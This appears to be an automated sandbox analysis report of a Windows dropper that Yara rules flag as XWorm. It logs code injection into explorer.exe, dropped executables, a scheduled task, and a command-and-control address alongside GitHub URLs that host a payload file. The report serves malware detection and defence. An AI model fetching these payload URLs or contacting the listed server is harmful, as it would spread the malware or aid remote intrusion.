Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\svnchost.exe Code function: 23_2_00007FF6577837C8 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 23_2_00007FF6577837C8
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected XWorm
Source: Yara match File source: 7.2.explorer.exe.2c0cda8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.explorer.exe.2d20000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.explorer.exe.2d20000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.explorer.exe.1b4d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.explorer.exe.2a80000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.2.explorer.exe.1f70000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.explorer.exe.2e1cdf8.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.explorer.exe.2a80000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.2.explorer.exe.213cdf8.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.2.explorer.exe.1f70000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.2.explorer.exe.213cdf8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000021.00000002.2939100581.0000000001F70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.2961968825.0000000002A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2337538949.0000000002D20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.1817047658.000000001B4D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2337628675.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.1816879305.0000000002C01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.2939405121.0000000002131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: explorer.exe PID: 6684, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: explorer.exe PID: 7216, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: explorer.exe PID: 6016, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: explorer.exe PID: 5184, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected XWorm
Source: Yara match File source: 7.2.explorer.exe.2c0cda8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.explorer.exe.1b4d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.explorer.exe.2d20000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.explorer.exe.2d20000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.explorer.exe.1b4d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.explorer.exe.2a80000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.2.explorer.exe.1f70000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.explorer.exe.2e1cdf8.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.explorer.exe.2a80000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.2.explorer.exe.213cdf8.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.2.explorer.exe.1f70000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.explorer.exe.2e1cdf8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.explorer.exe.2c0cda8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.2.explorer.exe.213cdf8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000021.00000002.2939100581.0000000001F70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.2961968825.0000000002A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2337538949.0000000002D20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.1817047658.000000001B4D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2337628675.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.1816879305.0000000002C01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.2939405121.0000000002131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: explorer.exe PID: 6684, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: explorer.exe PID: 7216, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: explorer.exe PID: 6016, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: explorer.exe PID: 5184, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1434049 Sample: SecuriteInfo.com.Win64.Drop... Startdate: 30/04/2024 Architecture: WINDOWS Score: 100 58 raw.githubusercontent.com 2->58 60 github.com 2->60 70 Found malware configuration 2->70 72 Malicious sample detected (through community Yara rule) 2->72 74 Antivirus detection for URL or domain 2->74 76 14 other signatures 2->76 9 SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe 15 2->9         started        14 sihost.exe 12 2->14         started        16 sihost.exe 2->16         started        18 9 other processes 2->18 signatures3 process4 dnsIp5 64 github.com 140.82.113.3, 443, 49730, 49732 GITHUBUS United States 9->64 66 raw.githubusercontent.com 185.199.111.133, 443, 49731, 49733 FASTLYUS Netherlands 9->66 56 C:\Users\user\AppData\Local\Temp\sihost.exe, PE32+ 9->56 dropped 86 Early bird code injection technique detected 9->86 88 Injects code into the Windows Explorer (explorer.exe) 9->88 90 Contains functionality to inject code into remote processes 9->90 100 2 other signatures 9->100 20 explorer.exe 1 5 9->20         started        25 schtasks.exe 1 9->25         started        92 Multi AV Scanner detection for dropped file 14->92 94 Machine Learning detection for dropped file 14->94 96 Writes to foreign memory regions 14->96 27 explorer.exe 1 14->27         started        98 Allocates memory in foreign processes 16->98 29 explorer.exe 16->29         started        31 explorer.exe 18->31         started        file6 signatures7 process8 dnsIp9 62 94.156.10.234, 7777 NETERRA-ASBG Bulgaria 20->62 54 C:\Users\user\AppData\Local\...\svnchost.exe, PE32+ 20->54 dropped 78 System process connects to network (likely due to code injection or exploit) 20->78 80 Benign windows process drops PE files 20->80 82 Protects its processes via BreakOnTermination flag 20->82 84 2 other signatures 20->84 33 powershell.exe 23 20->33         started        36 powershell.exe 23 20->36         started        38 powershell.exe 20->38         started        42 2 other processes 20->42 40 conhost.exe 25->40         started        file10 signatures11 process12 signatures13 68 Loading BitLocker PowerShell Module 33->68 44 conhost.exe 33->44         started        46 conhost.exe 36->46         started        48 conhost.exe 38->48         started        50 conhost.exe 42->50         started        52 conhost.exe 42->52         started        process14
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
140.82.113.3
 github.com United States
36459 GITHUBUS false
94.156.10.234
 unknown Bulgaria
34224 NETERRA-ASBG true
185.199.111.133
 raw.githubusercontent.com Netherlands
54113 FASTLYUS false

Contacted Domains

Name IP Active
github.com 140.82.113.3 true
raw.githubusercontent.com 185.199.111.133 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
94.156.10.234 true
  • 1%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
https://raw.githubusercontent.com/zonicleaks/z/main/payload%20(3).bin false
  • 0%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
https://github.com/zonicleaks/z/raw/main/payload%20(3).bin false
    		high